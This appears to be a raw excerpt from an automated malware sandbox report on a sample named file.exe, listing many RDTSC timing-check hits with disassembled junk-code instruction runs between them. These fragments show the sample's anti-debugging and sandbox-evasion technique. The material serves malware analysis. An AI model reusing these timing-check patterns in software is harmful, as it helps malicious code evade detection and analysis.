Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C97F second address: A5C98D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE9A9298656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C98D second address: A5C991 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C991 second address: A5C997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C997 second address: A5C9B2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE9A87AE1EEh 0x00000008 pushad 0x00000009 jns 00007FE9A87AE1E6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5CC62 second address: A5CC78 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE9A9298656h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jno 00007FE9A9298656h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5CC78 second address: A5CC7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61FC1 second address: A61FCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE9A9298656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65325 second address: A65331 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE9A87AE1EEh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65331 second address: A65386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FE9A9298662h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FE9A9298663h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 jmp 00007FE9A929865Bh 0x0000001c jmp 00007FE9A9298667h 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65386 second address: A65391 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FE9A87AE1E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65391 second address: A65397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A654EF second address: A654FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65678 second address: A6567C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6567C second address: A6568B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6568B second address: A65695 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE9A9298656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A657F5 second address: A657FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A657FA second address: A65806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FE9A9298656h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E941 second address: A6E97B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F6h 0x00000007 jg 00007FE9A87AE1E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jmp 00007FE9A87AE1F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E97B second address: A6E97F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C9BF second address: A6C9D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007FE9A87AE1E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6CB0D second address: A6CB3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A9298661h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE9A929865Fh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6CB3D second address: A6CB43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D0E0 second address: A6D0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D0E4 second address: A6D113 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE9A87AE1E6h 0x00000008 jns 00007FE9A87AE1E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jo 00007FE9A87AE1E6h 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE9A87AE1F2h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D2A3 second address: A6D2A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D2A7 second address: A6D2AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D432 second address: A6D445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A929865Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D445 second address: A6D44A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D44A second address: A6D450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D450 second address: A6D465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE9A87AE1E6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jnp 00007FE9A87AE1ECh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D5B4 second address: A6D5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE9A929865Fh 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007FE9A9298656h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D5D6 second address: A6D5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D5DB second address: A6D5E0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D5E0 second address: A6D5EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D758 second address: A6D762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D762 second address: A6D766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E007 second address: A6E00B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71A2D second address: A71A3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FE9A87AE1E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71A3B second address: A71A45 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE9A9298656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71A45 second address: A71A69 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE9A87AE1F2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jno 00007FE9A87AE1E6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76409 second address: A76438 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE9A9298666h 0x00000008 jmp 00007FE9A929865Ah 0x0000000d jg 00007FE9A9298656h 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81792 second address: A8179D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82DC8 second address: A82DDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE9A9298660h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89C71 second address: A89C89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FE9A87AE1E6h 0x00000009 jmp 00007FE9A87AE1EDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94F48 second address: A94F73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A929865Bh 0x00000009 jmp 00007FE9A9298665h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B919 second address: A9B91D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B79D second address: A9B7A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA232E second address: AA2334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2334 second address: AA2338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2338 second address: AA233C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA233C second address: AA2344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2344 second address: AA2354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE9A87AE1ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2354 second address: AA239E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A9298661h 0x00000007 jo 00007FE9A9298656h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007FE9A9298668h 0x00000018 jl 00007FE9A9298656h 0x0000001e jo 00007FE9A9298656h 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 pop eax 0x00000029 push eax 0x0000002a pop eax 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA239E second address: AA23A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7DC9 second address: AA7DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7DCD second address: AA7DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7DD7 second address: AA7DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7DDB second address: AA7DDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA79AE second address: AA79B4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA79B4 second address: AA79BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4EB8 second address: AB4ED3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A929865Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FE9A9298656h 0x0000000f ja 00007FE9A9298656h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4ED3 second address: AB4ED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8CDA second address: AB8CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007FE9A9298669h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6AE0 second address: AC6AFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6AFD second address: AC6B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jg 00007FE9A929865Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6B0A second address: AC6B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A87AE1F8h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FE9A87AE1F9h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6B45 second address: AC6B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD763C second address: AD76AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE9A87AE1F4h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 jmp 00007FE9A87AE1F7h 0x0000001b jmp 00007FE9A87AE1EFh 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jno 00007FE9A87AE1EAh 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FE9A87AE1F6h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD76AC second address: AD76B2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD76B2 second address: AD76BC instructions: 0x00000000 rdtsc 0x00000002 js 00007FE9A87AE1F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD76BC second address: AD76C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD643E second address: AD6443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6443 second address: AD644B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6724 second address: AD6729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6729 second address: AD674B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jp 00007FE9A9298656h 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007FE9A929865Dh 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD674B second address: AD6750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6A5D second address: AD6A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A9298668h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6A7A second address: AD6A80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6A80 second address: AD6A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE9A9298656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7023 second address: AD703F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A87AE1F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD703F second address: AD7044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD71E4 second address: AD71EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD732C second address: AD7332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7332 second address: AD736D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FE9A87AE1FCh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE9A87AE1F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB606 second address: ADB60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBBEE second address: ADBBF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FE9A87AE1E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBBF8 second address: ADBC65 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FE9A9298668h 0x0000000e push dword ptr [ebp+122D271Fh] 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FE9A9298658h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov dx, ax 0x00000031 mov edx, dword ptr [ebp+122D311Bh] 0x00000037 push 06939334h 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f jc 00007FE9A9298656h 0x00000045 jmp 00007FE9A929865Ch 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD18E second address: ADD196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD196 second address: ADD19A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD19A second address: ADD1B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF1F3 second address: ADF1F9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150274 second address: 5150278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150278 second address: 515027C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515027C second address: 5150282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150282 second address: 51502DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A9298664h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop edi 0x0000000e mov ebx, ecx 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007FE9A9298661h 0x00000018 xchg eax, ebp 0x00000019 jmp 00007FE9A929865Eh 0x0000001e mov ebp, esp 0x00000020 jmp 00007FE9A9298660h 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51502DD second address: 51502E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51502E1 second address: 51502E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51502E5 second address: 51502EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
